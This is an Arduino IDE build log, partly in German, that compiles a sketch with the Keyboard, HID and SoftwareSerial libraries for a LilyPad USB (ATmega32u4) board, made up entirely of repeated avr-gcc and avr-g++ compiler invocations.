"C:\Program Files (x86)\Arduino\portable\packages\arduino\tools\avr-gcc\4.9.2-atmel3.5.4-arduino2/bin/avr-g++" -c -g -Os -w -std=gnu++11 -fpermissive -fno-exceptions -ffunction-sections -fdata-sections -fno-threadsafe-statics -flto -w -x c++ -E -CC -mmcu=atmega32u4 -DF_CPU=8000000L -DARDUINO=10805 -DARDUINO_AVR_LILYPAD_USB -DARDUINO_ARCH_AVR -DUSB_VID=0x1B4F -DUSB_PID=0x9208 '-DUSB_MANUFACTURER="Unknown"' '-DUSB_PRODUCT="LilyPad USB"' "-IC:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\cores\arduino" "-IC:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\variants\leonardo" "-IC:\Program Files (x86)\Arduino\libraries\Keyboard\src" "-IC:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\libraries\HID\src" "-IC:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\libraries\SoftwareSerial\src" "C:\Program Files (x86)\Arduino\libraries\Keyboard\src\Keyboard.cpp" -o "nul"
"C:\Program Files (x86)\Arduino\portable\packages\arduino\tools\avr-gcc\4.9.2-atmel3.5.4-arduino2/bin/avr-g++" -c -g -Os -w -std=gnu++11 -fpermissive -fno-exceptions -ffunction-sections -fdata-sections -fno-threadsafe-statics -flto -w -x c++ -E -CC -mmcu=atmega32u4 -DF_CPU=8000000L -DARDUINO=10805 -DARDUINO_AVR_LILYPAD_USB -DARDUINO_ARCH_AVR -DUSB_VID=0x1B4F -DUSB_PID=0x9208 '-DUSB_MANUFACTURER="Unknown"' '-DUSB_PRODUCT="LilyPad USB"' "-IC:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\cores\arduino" "-IC:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\variants\leonardo" "-IC:\Program Files (x86)\Arduino\libraries\Keyboard\src" "-IC:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\libraries\HID\src" "-IC:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\libraries\SoftwareSerial\src" "C:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\libraries\HID\src\HID.cpp" -o "nul"
"C:\Program Files (x86)\Arduino\portable\packages\arduino\tools\avr-gcc\4.9.2-atmel3.5.4-arduino2/bin/avr-g++" -c -g -Os -w -std=gnu++11 -fpermissive -fno-exceptions -ffunction-sections -fdata-sections -fno-threadsafe-statics -flto -w -x c++ -E -CC -mmcu=atmega32u4 -DF_CPU=8000000L -DARDUINO=10805 -DARDUINO_AVR_LILYPAD_USB -DARDUINO_ARCH_AVR -DUSB_VID=0x1B4F -DUSB_PID=0x9208 '-DUSB_MANUFACTURER="Unknown"' '-DUSB_PRODUCT="LilyPad USB"' "-IC:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\cores\arduino" "-IC:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\variants\leonardo" "-IC:\Program Files (x86)\Arduino\libraries\Keyboard\src" "-IC:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\libraries\HID\src" "-IC:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\libraries\SoftwareSerial\src" "C:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\libraries\SoftwareSerial\src\SoftwareSerial.cpp" -o "nul"
Generating function prototypes...
"C:\Program Files (x86)\Arduino\portable\packages\arduino\tools\avr-gcc\4.9.2-atmel3.5.4-arduino2/bin/avr-g++" -c -g -Os -w -std=gnu++11 -fpermissive -fno-exceptions -ffunction-sections -fdata-sections -fno-threadsafe-statics -flto -w -x c++ -E -CC -mmcu=atmega32u4 -DF_CPU=8000000L -DARDUINO=10805 -DARDUINO_AVR_LILYPAD_USB -DARDUINO_ARCH_AVR -DUSB_VID=0x1B4F -DUSB_PID=0x9208 '-DUSB_MANUFACTURER="Unknown"' '-DUSB_PRODUCT="LilyPad USB"' "-IC:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\cores\arduino" "-IC:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\variants\leonardo" "-IC:\Program Files (x86)\Arduino\libraries\Keyboard\src" "-IC:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\libraries\HID\src" "-IC:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\libraries\SoftwareSerial\src" "C:\Users\dakra\AppData\Local\Temp\arduino_build_322237\sketch\Arduino_Sketch.ino.cpp" -o "C:\Users\dakra\AppData\Local\Temp\arduino_build_322237\preproc\ctags_target_for_gcc_minus_e.cpp"
"C:\Program Files (x86)\Arduino\tools-builder\ctags\5.8-arduino11/ctags" -u --language-force=c++ -f - --c++-kinds=svpf --fields=KSTtzns --line-directives "C:\Users\dakra\AppData\Local\Temp\arduino_build_322237\preproc\ctags_target_for_gcc_minus_e.cpp"
Sketch wird kompiliert...
"C:\Program Files (x86)\Arduino\portable\packages\arduino\tools\avr-gcc\4.9.2-atmel3.5.4-arduino2/bin/avr-g++" -c -g -Os -w -std=gnu++11 -fpermissive -fno-exceptions -ffunction-sections -fdata-sections -fno-threadsafe-statics -MMD -flto -mmcu=atmega32u4 -DF_CPU=8000000L -DARDUINO=10805 -DARDUINO_AVR_LILYPAD_USB -DARDUINO_ARCH_AVR -DUSB_VID=0x1B4F -DUSB_PID=0x9208 '-DUSB_MANUFACTURER="Unknown"' '-DUSB_PRODUCT="LilyPad USB"' "-IC:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\cores\arduino" "-IC:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\variants\leonardo" "-IC:\Program Files (x86)\Arduino\libraries\Keyboard\src" "-IC:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\libraries\HID\src" "-IC:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\libraries\SoftwareSerial\src" "C:\Users\dakra\AppData\Local\Temp\arduino_build_322237\sketch\Arduino_Sketch.ino.cpp" -o "C:\Users\dakra\AppData\Local\Temp\arduino_build_322237\sketch\Arduino_Sketch.ino.cpp.o"
Compiling libraries...
Compiling library "Keyboard"
"C:\Program Files (x86)\Arduino\portable\packages\arduino\tools\avr-gcc\4.9.2-atmel3.5.4-arduino2/bin/avr-g++" -c -g -Os -w -std=gnu++11 -fpermissive -fno-exceptions -ffunction-sections -fdata-sections -fno-threadsafe-statics -MMD -flto -mmcu=atmega32u4 -DF_CPU=8000000L -DARDUINO=10805 -DARDUINO_AVR_LILYPAD_USB -DARDUINO_ARCH_AVR -DUSB_VID=0x1B4F -DUSB_PID=0x9208 '-DUSB_MANUFACTURER="Unknown"' '-DUSB_PRODUCT="LilyPad USB"' "-IC:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\cores\arduino" "-IC:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\variants\leonardo" "-IC:\Program Files (x86)\Arduino\libraries\Keyboard\src" "-IC:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\libraries\HID\src" "-IC:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\libraries\SoftwareSerial\src" "C:\Program Files (x86)\Arduino\libraries\Keyboard\src\Keyboard.cpp" -o "C:\Users\dakra\AppData\Local\Temp\arduino_build_322237\libraries\Keyboard\Keyboard.cpp.o"
Compiling library "HID"
"C:\Program Files (x86)\Arduino\portable\packages\arduino\tools\avr-gcc\4.9.2-atmel3.5.4-arduino2/bin/avr-g++" -c -g -Os -w -std=gnu++11 -fpermissive -fno-exceptions -ffunction-sections -fdata-sections -fno-threadsafe-statics -MMD -flto -mmcu=atmega32u4 -DF_CPU=8000000L -DARDUINO=10805 -DARDUINO_AVR_LILYPAD_USB -DARDUINO_ARCH_AVR -DUSB_VID=0x1B4F -DUSB_PID=0x9208 '-DUSB_MANUFACTURER="Unknown"' '-DUSB_PRODUCT="LilyPad USB"' "-IC:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\cores\arduino" "-IC:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\variants\leonardo" "-IC:\Program Files (x86)\Arduino\libraries\Keyboard\src" "-IC:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\libraries\HID\src" "-IC:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\libraries\SoftwareSerial\src" "C:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\libraries\HID\src\HID.cpp" -o "C:\Users\dakra\AppData\Local\Temp\arduino_build_322237\libraries\HID\HID.cpp.o"
Compiling library "SoftwareSerial"
"C:\Program Files (x86)\Arduino\portable\packages\arduino\tools\avr-gcc\4.9.2-atmel3.5.4-arduino2/bin/avr-g++" -c -g -Os -w -std=gnu++11 -fpermissive -fno-exceptions -ffunction-sections -fdata-sections -fno-threadsafe-statics -MMD -flto -mmcu=atmega32u4 -DF_CPU=8000000L -DARDUINO=10805 -DARDUINO_AVR_LILYPAD_USB -DARDUINO_ARCH_AVR -DUSB_VID=0x1B4F -DUSB_PID=0x9208 '-DUSB_MANUFACTURER="Unknown"' '-DUSB_PRODUCT="LilyPad USB"' "-IC:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\cores\arduino" "-IC:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\variants\leonardo" "-IC:\Program Files (x86)\Arduino\libraries\Keyboard\src" "-IC:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\libraries\HID\src" "-IC:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\libraries\SoftwareSerial\src" "C:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\libraries\SoftwareSerial\src\SoftwareSerial.cpp" -o "C:\Users\dakra\AppData\Local\Temp\arduino_build_322237\libraries\SoftwareSerial\SoftwareSerial.cpp.o"
Compiling core...
"C:\Program Files (x86)\Arduino\portable\packages\arduino\tools\avr-gcc\4.9.2-atmel3.5.4-arduino2/bin/avr-gcc" -c -g -x assembler-with-cpp -flto -MMD -mmcu=atmega32u4 -DF_CPU=8000000L -DARDUINO=10805 -DARDUINO_AVR_LILYPAD_USB -DARDUINO_ARCH_AVR -DUSB_VID=0x1B4F -DUSB_PID=0x9208 '-DUSB_MANUFACTURER="Unknown"' '-DUSB_PRODUCT="LilyPad USB"' "-IC:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\cores\arduino" "-IC:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\variants\leonardo" "C:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\cores\arduino\wiring_pulse.S" -o "C:\Users\dakra\AppData\Local\Temp\arduino_build_322237\core\wiring_pulse.S.o"
"C:\Program Files (x86)\Arduino\portable\packages\arduino\tools\avr-gcc\4.9.2-atmel3.5.4-arduino2/bin/avr-gcc" -c -g -Os -w -std=gnu11 -ffunction-sections -fdata-sections -MMD -flto -fno-fat-lto-objects -mmcu=atmega32u4 -DF_CPU=8000000L -DARDUINO=10805 -DARDUINO_AVR_LILYPAD_USB -DARDUINO_ARCH_AVR -DUSB_VID=0x1B4F -DUSB_PID=0x9208 '-DUSB_MANUFACTURER="Unknown"' '-DUSB_PRODUCT="LilyPad USB"' "-IC:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\cores\arduino" "-IC:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\variants\leonardo" "C:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\cores\arduino\WInterrupts.c" -o "C:\Users\dakra\AppData\Local\Temp\arduino_build_322237\core\WInterrupts.c.o"
"C:\Program Files (x86)\Arduino\portable\packages\arduino\tools\avr-gcc\4.9.2-atmel3.5.4-arduino2/bin/avr-gcc" -c -g -Os -w -std=gnu11 -ffunction-sections -fdata-sections -MMD -flto -fno-fat-lto-objects -mmcu=atmega32u4 -DF_CPU=8000000L -DARDUINO=10805 -DARDUINO_AVR_LILYPAD_USB -DARDUINO_ARCH_AVR -DUSB_VID=0x1B4F -DUSB_PID=0x9208 '-DUSB_MANUFACTURER="Unknown"' '-DUSB_PRODUCT="LilyPad USB"' "-IC:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\cores\arduino" "-IC:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\variants\leonardo" "C:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\cores\arduino\hooks.c" -o "C:\Users\dakra\AppData\Local\Temp\arduino_build_322237\core\hooks.c.o"
"C:\Program Files (x86)\Arduino\portable\packages\arduino\tools\avr-gcc\4.9.2-atmel3.5.4-arduino2/bin/avr-gcc" -c -g -Os -w -std=gnu11 -ffunction-sections -fdata-sections -MMD -flto -fno-fat-lto-objects -mmcu=atmega32u4 -DF_CPU=8000000L -DARDUINO=10805 -DARDUINO_AVR_LILYPAD_USB -DARDUINO_ARCH_AVR -DUSB_VID=0x1B4F -DUSB_PID=0x9208 '-DUSB_MANUFACTURER="Unknown"' '-DUSB_PRODUCT="LilyPad USB"' "-IC:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\cores\arduino" "-IC:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\variants\leonardo" "C:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\cores\arduino\wiring.c" -o "C:\Users\dakra\AppData\Local\Temp\arduino_build_322237\core\wiring.c.o"
"C:\Program Files (x86)\Arduino\portable\packages\arduino\tools\avr-gcc\4.9.2-atmel3.5.4-arduino2/bin/avr-gcc" -c -g -Os -w -std=gnu11 -ffunction-sections -fdata-sections -MMD -flto -fno-fat-lto-objects -mmcu=atmega32u4 -DF_CPU=8000000L -DARDUINO=10805 -DARDUINO_AVR_LILYPAD_USB -DARDUINO_ARCH_AVR -DUSB_VID=0x1B4F -DUSB_PID=0x9208 '-DUSB_MANUFACTURER="Unknown"' '-DUSB_PRODUCT="LilyPad USB"' "-IC:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\cores\arduino" "-IC:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\variants\leonardo" "C:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\cores\arduino\wiring_analog.c" -o "C:\Users\dakra\AppData\Local\Temp\arduino_build_322237\core\wiring_analog.c.o"
"C:\Program Files (x86)\Arduino\portable\packages\arduino\tools\avr-gcc\4.9.2-atmel3.5.4-arduino2/bin/avr-gcc" -c -g -Os -w -std=gnu11 -ffunction-sections -fdata-sections -MMD -flto -fno-fat-lto-objects -mmcu=atmega32u4 -DF_CPU=8000000L -DARDUINO=10805 -DARDUINO_AVR_LILYPAD_USB -DARDUINO_ARCH_AVR -DUSB_VID=0x1B4F -DUSB_PID=0x9208 '-DUSB_MANUFACTURER="Unknown"' '-DUSB_PRODUCT="LilyPad USB"' "-IC:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\cores\arduino" "-IC:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\variants\leonardo" "C:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\cores\arduino\wiring_digital.c" -o "C:\Users\dakra\AppData\Local\Temp\arduino_build_322237\core\wiring_digital.c.o"
"C:\Program Files (x86)\Arduino\portable\packages\arduino\tools\avr-gcc\4.9.2-atmel3.5.4-arduino2/bin/avr-gcc" -c -g -Os -w -std=gnu11 -ffunction-sections -fdata-sections -MMD -flto -fno-fat-lto-objects -mmcu=atmega32u4 -DF_CPU=8000000L -DARDUINO=10805 -DARDUINO_AVR_LILYPAD_USB -DARDUINO_ARCH_AVR -DUSB_VID=0x1B4F -DUSB_PID=0x9208 '-DUSB_MANUFACTURER="Unknown"' '-DUSB_PRODUCT="LilyPad USB"' "-IC:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\cores\arduino" "-IC:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\variants\leonardo" "C:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\cores\arduino\wiring_pulse.c" -o "C:\Users\dakra\AppData\Local\Temp\arduino_build_322237\core\wiring_pulse.c.o"
"C:\Program Files (x86)\Arduino\portable\packages\arduino\tools\avr-gcc\4.9.2-atmel3.5.4-arduino2/bin/avr-gcc" -c -g -Os -w -std=gnu11 -ffunction-sections -fdata-sections -MMD -flto -fno-fat-lto-objects -mmcu=atmega32u4 -DF_CPU=8000000L -DARDUINO=10805 -DARDUINO_AVR_LILYPAD_USB -DARDUINO_ARCH_AVR -DUSB_VID=0x1B4F -DUSB_PID=0x9208 '-DUSB_MANUFACTURER="Unknown"' '-DUSB_PRODUCT="LilyPad USB"' "-IC:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\cores\arduino" "-IC:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\variants\leonardo" "C:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\cores\arduino\wiring_shift.c" -o "C:\Users\dakra\AppData\Local\Temp\arduino_build_322237\core\wiring_shift.c.o"
"C:\Program Files (x86)\Arduino\portable\packages\arduino\tools\avr-gcc\4.9.2-atmel3.5.4-arduino2/bin/avr-g++" -c -g -Os -w -std=gnu++11 -fpermissive -fno-exceptions -ffunction-sections -fdata-sections -fno-threadsafe-statics -MMD -flto -mmcu=atmega32u4 -DF_CPU=8000000L -DARDUINO=10805 -DARDUINO_AVR_LILYPAD_USB -DARDUINO_ARCH_AVR -DUSB_VID=0x1B4F -DUSB_PID=0x9208 '-DUSB_MANUFACTURER="Unknown"' '-DUSB_PRODUCT="LilyPad USB"' "-IC:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\cores\arduino" "-IC:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\variants\leonardo" "C:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\cores\arduino\CDC.cpp" -o "C:\Users\dakra\AppData\Local\Temp\arduino_build_322237\core\CDC.cpp.o"
"C:\Program Files (x86)\Arduino\portable\packages\arduino\tools\avr-gcc\4.9.2-atmel3.5.4-arduino2/bin/avr-g++" -c -g -Os -w -std=gnu++11 -fpermissive -fno-exceptions -ffunction-sections -fdata-sections -fno-threadsafe-statics -MMD -flto -mmcu=atmega32u4 -DF_CPU=8000000L -DARDUINO=10805 -DARDUINO_AVR_LILYPAD_USB -DARDUINO_ARCH_AVR -DUSB_VID=0x1B4F -DUSB_PID=0x9208 '-DUSB_MANUFACTURER="Unknown"' '-DUSB_PRODUCT="LilyPad USB"' "-IC:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\cores\arduino" "-IC:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\variants\leonardo" "C:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\cores\arduino\HardwareSerial.cpp" -o "C:\Users\dakra\AppData\Local\Temp\arduino_build_322237\core\HardwareSerial.cpp.o"
"C:\Program Files (x86)\Arduino\portable\packages\arduino\tools\avr-gcc\4.9.2-atmel3.5.4-arduino2/bin/avr-g++" -c -g -Os -w -std=gnu++11 -fpermissive -fno-exceptions -ffunction-sections -fdata-sections -fno-threadsafe-statics -MMD -flto -mmcu=atmega32u4 -DF_CPU=8000000L -DARDUINO=10805 -DARDUINO_AVR_LILYPAD_USB -DARDUINO_ARCH_AVR -DUSB_VID=0x1B4F -DUSB_PID=0x9208 '-DUSB_MANUFACTURER="Unknown"' '-DUSB_PRODUCT="LilyPad USB"' "-IC:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\cores\arduino" "-IC:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\variants\leonardo" "C:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\cores\arduino\HardwareSerial0.cpp" -o "C:\Users\dakra\AppData\Local\Temp\arduino_build_322237\core\HardwareSerial0.cpp.o"
"C:\Program Files (x86)\Arduino\portable\packages\arduino\tools\avr-gcc\4.9.2-atmel3.5.4-arduino2/bin/avr-g++" -c -g -Os -w -std=gnu++11 -fpermissive -fno-exceptions -ffunction-sections -fdata-sections -fno-threadsafe-statics -MMD -flto -mmcu=atmega32u4 -DF_CPU=8000000L -DARDUINO=10805 -DARDUINO_AVR_LILYPAD_USB -DARDUINO_ARCH_AVR -DUSB_VID=0x1B4F -DUSB_PID=0x9208 '-DUSB_MANUFACTURER="Unknown"' '-DUSB_PRODUCT="LilyPad USB"' "-IC:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\cores\arduino" "-IC:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\variants\leonardo" "C:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\cores\arduino\HardwareSerial1.cpp" -o "C:\Users\dakra\AppData\Local\Temp\arduino_build_322237\core\HardwareSerial1.cpp.o"
"C:\Program Files (x86)\Arduino\portable\packages\arduino\tools\avr-gcc\4.9.2-atmel3.5.4-arduino2/bin/avr-g++" -c -g -Os -w -std=gnu++11 -fpermissive -fno-exceptions -ffunction-sections -fdata-sections -fno-threadsafe-statics -MMD -flto -mmcu=atmega32u4 -DF_CPU=8000000L -DARDUINO=10805 -DARDUINO_AVR_LILYPAD_USB -DARDUINO_ARCH_AVR -DUSB_VID=0x1B4F -DUSB_PID=0x9208 '-DUSB_MANUFACTURER="Unknown"' '-DUSB_PRODUCT="LilyPad USB"' "-IC:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\cores\arduino" "-IC:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\variants\leonardo" "C:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\cores\arduino\HardwareSerial2.cpp" -o "C:\Users\dakra\AppData\Local\Temp\arduino_build_322237\core\HardwareSerial2.cpp.o"
"C:\Program Files (x86)\Arduino\portable\packages\arduino\tools\avr-gcc\4.9.2-atmel3.5.4-arduino2/bin/avr-g++" -c -g -Os -w -std=gnu++11 -fpermissive -fno-exceptions -ffunction-sections -fdata-sections -fno-threadsafe-statics -MMD -flto -mmcu=atmega32u4 -DF_CPU=8000000L -DARDUINO=10805 -DARDUINO_AVR_LILYPAD_USB -DARDUINO_ARCH_AVR -DUSB_VID=0x1B4F -DUSB_PID=0x9208 '-DUSB_MANUFACTURER="Unknown"' '-DUSB_PRODUCT="LilyPad USB"' "-IC:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\cores\arduino" "-IC:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\variants\leonardo" "C:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\cores\arduino\HardwareSerial3.cpp" -o "C:\Users\dakra\AppData\Local\Temp\arduino_build_322237\core\HardwareSerial3.cpp.o"
"C:\Program Files (x86)\Arduino\portable\packages\arduino\tools\avr-gcc\4.9.2-atmel3.5.4-arduino2/bin/avr-g++" -c -g -Os -w -std=gnu++11 -fpermissive -fno-exceptions -ffunction-sections -fdata-sections -fno-threadsafe-statics -MMD -flto -mmcu=atmega32u4 -DF_CPU=8000000L -DARDUINO=10805 -DARDUINO_AVR_LILYPAD_USB -DARDUINO_ARCH_AVR -DUSB_VID=0x1B4F -DUSB_PID=0x9208 '-DUSB_MANUFACTURER="Unknown"' '-DUSB_PRODUCT="LilyPad USB"' "-IC:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\cores\arduino" "-IC:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\variants\leonardo" "C:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\cores\arduino\IPAddress.cpp" -o "C:\Users\dakra\AppData\Local\Temp\arduino_build_322237\core\IPAddress.cpp.o"
"C:\Program Files (x86)\Arduino\portable\packages\arduino\tools\avr-gcc\4.9.2-atmel3.5.4-arduino2/bin/avr-g++" -c -g -Os -w -std=gnu++11 -fpermissive -fno-exceptions -ffunction-sections -fdata-sections -fno-threadsafe-statics -MMD -flto -mmcu=atmega32u4 -DF_CPU=8000000L -DARDUINO=10805 -DARDUINO_AVR_LILYPAD_USB -DARDUINO_ARCH_AVR -DUSB_VID=0x1B4F -DUSB_PID=0x9208 '-DUSB_MANUFACTURER="Unknown"' '-DUSB_PRODUCT="LilyPad USB"' "-IC:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\cores\arduino" "-IC:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\variants\leonardo" "C:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\cores\arduino\PluggableUSB.cpp" -o "C:\Users\dakra\AppData\Local\Temp\arduino_build_322237\core\PluggableUSB.cpp.o"
"C:\Program Files (x86)\Arduino\portable\packages\arduino\tools\avr-gcc\4.9.2-atmel3.5.4-arduino2/bin/avr-g++" -c -g -Os -w -std=gnu++11 -fpermissive -fno-exceptions -ffunction-sections -fdata-sections -fno-threadsafe-statics -MMD -flto -mmcu=atmega32u4 -DF_CPU=8000000L -DARDUINO=10805 -DARDUINO_AVR_LILYPAD_USB -DARDUINO_ARCH_AVR -DUSB_VID=0x1B4F -DUSB_PID=0x9208 '-DUSB_MANUFACTURER="Unknown"' '-DUSB_PRODUCT="LilyPad USB"' "-IC:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\cores\arduino" "-IC:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\variants\leonardo" "C:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\cores\arduino\Print.cpp" -o "C:\Users\dakra\AppData\Local\Temp\arduino_build_322237\core\Print.cpp.o"
"C:\Program Files (x86)\Arduino\portable\packages\arduino\tools\avr-gcc\4.9.2-atmel3.5.4-arduino2/bin/avr-g++" -c -g -Os -w -std=gnu++11 -fpermissive -fno-exceptions -ffunction-sections -fdata-sections -fno-threadsafe-statics -MMD -flto -mmcu=atmega32u4 -DF_CPU=8000000L -DARDUINO=10805 -DARDUINO_AVR_LILYPAD_USB -DARDUINO_ARCH_AVR -DUSB_VID=0x1B4F -DUSB_PID=0x9208 '-DUSB_MANUFACTURER="Unknown"' '-DUSB_PRODUCT="LilyPad USB"' "-IC:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\cores\arduino" "-IC:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\variants\leonardo" "C:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\cores\arduino\Stream.cpp" -o "C:\Users\dakra\AppData\Local\Temp\arduino_build_322237\core\Stream.cpp.o"
"C:\Program Files (x86)\Arduino\portable\packages\arduino\tools\avr-gcc\4.9.2-atmel3.5.4-arduino2/bin/avr-g++" -c -g -Os -w -std=gnu++11 -fpermissive -fno-exceptions -ffunction-sections -fdata-sections -fno-threadsafe-statics -MMD -flto -mmcu=atmega32u4 -DF_CPU=8000000L -DARDUINO=10805 -DARDUINO_AVR_LILYPAD_USB -DARDUINO_ARCH_AVR -DUSB_VID=0x1B4F -DUSB_PID=0x9208 '-DUSB_MANUFACTURER="Unknown"' '-DUSB_PRODUCT="LilyPad USB"' "-IC:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\cores\arduino" "-IC:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\variants\leonardo" "C:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\cores\arduino\Tone.cpp" -o "C:\Users\dakra\AppData\Local\Temp\arduino_build_322237\core\Tone.cpp.o"
"C:\Program Files (x86)\Arduino\portable\packages\arduino\tools\avr-gcc\4.9.2-atmel3.5.4-arduino2/bin/avr-g++" -c -g -Os -w -std=gnu++11 -fpermissive -fno-exceptions -ffunction-sections -fdata-sections -fno-threadsafe-statics -MMD -flto -mmcu=atmega32u4 -DF_CPU=8000000L -DARDUINO=10805 -DARDUINO_AVR_LILYPAD_USB -DARDUINO_ARCH_AVR -DUSB_VID=0x1B4F -DUSB_PID=0x9208 '-DUSB_MANUFACTURER="Unknown"' '-DUSB_PRODUCT="LilyPad USB"' "-IC:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\cores\arduino" "-IC:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\variants\leonardo" "C:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\cores\arduino\USBCore.cpp" -o "C:\Users\dakra\AppData\Local\Temp\arduino_build_322237\core\USBCore.cpp.o"
